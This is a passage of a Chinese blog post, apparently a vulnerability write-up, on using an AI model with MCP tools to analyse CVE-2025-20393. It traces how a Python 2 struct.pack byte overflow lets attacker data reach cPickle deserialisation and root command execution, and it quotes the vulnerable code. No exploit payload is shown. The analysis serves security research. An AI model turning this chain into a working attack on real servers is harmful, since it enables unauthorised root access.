字节时</span><span leaf=""><br/></span><span leaf="">    │   Python</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 2.6</span></span><span leaf="">: pack(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;&gt;B&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 256</span></span><span leaf="">) →</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 0x00</span></span><span leaf=""> (静默溢出)</span><span leaf=""><br/></span><span leaf="">    │   Python</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 3.</span></span><span leaf="">x: pack(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;&gt;B&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 256</span></span><span leaf="">) → struct.error (异常)</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ▼</span><span leaf=""><br/></span><span leaf="">CommandMessage.read_message()</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ├── dst_len =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 0</span></span><span leaf=""> (从 header 解析)</span><span leaf=""><br/></span><span leaf="">    ├──</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> self</span></span><span leaf="">.destination = recv(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">)  → 空，跳过</span><span leaf=""><br/></span><span leaf="">    ├──</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> self</span></span><span leaf="">.message = recv(msg_len) → 实际读到 destination 区域数据</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ▼</span><span leaf=""><br/></span><span leaf="">CommandServer.handle_client()</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ├── cPickle.loads(msg.message)  → 反序列化攻击者控制的数据</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ▼</span><span leaf=""><br/></span><span leaf="">    os.system(attacker_command)     → ROOT RCE</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">触发漏洞的代码段如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> read_message</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">read_method, timeout=</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">0</span></span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)</span><span leaf=""><br/></span><span leaf="">    (version, ttl, message_length, message_type, </span><span leaf=""><br/></span><span leaf="">     source_length, destination_length, txn_tag) = struct.unpack(...)</span><span leaf=""><br/></span><span leaf="">    source = _read(read_method, source_length, timeout)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> destination_length:</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">  # destination_length = 0, 跳过!</span></span><span leaf=""><br/></span><span leaf="">        destination = _read(...)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        destination =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">    message = _read(read_method, message_length, timeout) </span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该漏洞触发的关键在于旧版本 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python2.6</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python3</span></code><span leaf=""> 存在一个重要区别：当 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">destination</span></code><span leaf=""> 超出 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">B</span></code><span leaf=""> 的范围时（</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">256</span></code><span leaf="">），</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python2</span></code><span leaf=""> 直接会进行高位截断，而 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python3</span></code><span leaf=""> 则会抛出异常：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""># CommandMessage.py send_message():</span></span><span leaf=""><br/></span><span leaf="">header = struct.pack(Commandment.HEADER, ...,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""> len</span></span><span leaf="">(destination), ...)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">#                                               ^^^^^^^^^^^</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""># HEADER = &#39;&gt;BBIIBB32s&#39;  →  destination_length 是 &#39;B&#39; (unsigned byte, 0-255)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf=""># Python 2.6: struct.pack(&#39;&gt;B&#39;, 256) 静默截断为 0x00</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""># Python 3.x: struct.pack(&#39;&gt;B&#39;, 256) 抛出 struct.error</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">&gt;&gt;&gt; </span></span><span leaf="">struct.pack(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;&gt;B&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 256</span></span><span leaf="">)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">&#39;\x00&#39;</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">                          # 256 溢出为 0，不报错!</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">&gt;&gt;&gt; </span></span><span leaf="">struct.pack(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;&gt;B&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 257</span></span><span leaf="">)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""><br/></span><span leaf="">&#39;\x01&#39;</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">                          # 257 溢出为 1</span></span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">同时注意为了确保 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">destination_length</span></code><span leaf=""> 取值为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">0</span></code><span leaf=""> ，传入的参数长度不能过长，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 也给出了具体原因：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7212962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009050" src="https://wechat2rss.xlab.app/img-proxy/?k=a9c0cf9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkAcdsLWNKTxbbtiaTgLKNbbnm4Tiap5J2xcG6L7KicQ32EaKO2kkRQwI4n87ac92UWTejRCDAs2ia7qloxTVkZmRguMIurMf0ibTr0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">分析完毕后，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 还会自行确定数据包格式，并尝试构造测试脚本进行验证：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009046" src="https://wechat2rss.xlab.app/img-proxy/?k=16319f22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLn6p1REib5ANY5zK5v4kxMn9rx0ibiaCRNNrqLec1Ky5zBcYRtnTg76CHwF661JZT2qGVI95vLvOrehSpfK4apdkvOVd5GzG4dqu8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8455284552845529" data-type="png" data-w="984" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009051" src="https://wechat2rss.xlab.app/img-proxy/?k=7258bc2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLmIwmicVDGnIMeSPiaQp3pZFyciaCxO5qP3mrxYVZldIz6AicZXI9lZLVam14P0oB9fw6el3v3bh2hY9K1iaiafuztSBvpAViaCicYI7RI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最后通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">remoteshell mcp</span></code><span leaf=""> 进入虚拟机查看命令是否执行成功：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.387037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009053" src="https://wechat2rss.xlab.app/img-proxy/?k=7a96abdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkDb2wia9epOjNKZzdZcqqodvvCrviccNhTrDyrwP4McYbejK9ccaick3lq76ic1a0OrUHsvdhDI7o0frpd8Loq0MwBt7rshDicQzZA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009052" src="https://wechat2rss.xlab.app/img-proxy/?k=894aa2f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLnE0tzVEC5bDlO96UwTibT6RvjjGnHNPWEGAxNM1muXVWHVicNzIkkY1OX8zWvCKdGUnXv5Gj6MAssgvasYenpRexEQC9vQqw3Ag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">小结与思考</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">大模型在整个分析过程中的表现远超出我的预期，在进程服务配置分析、文件解密，代码审计、数据流跟踪等方面都极大提高了效率。但是目前阶段对于类似这种复杂漏洞，感觉仅靠编写几个 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">skill</span></code><span leaf=""> 或者 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">mcp</span></code><span leaf=""> 服务仍无法实现全自动分析，比如分析 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2025-20393</span></code><span leaf=""> 时遇到了不少需要优化和解决的问题：</span></p><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: 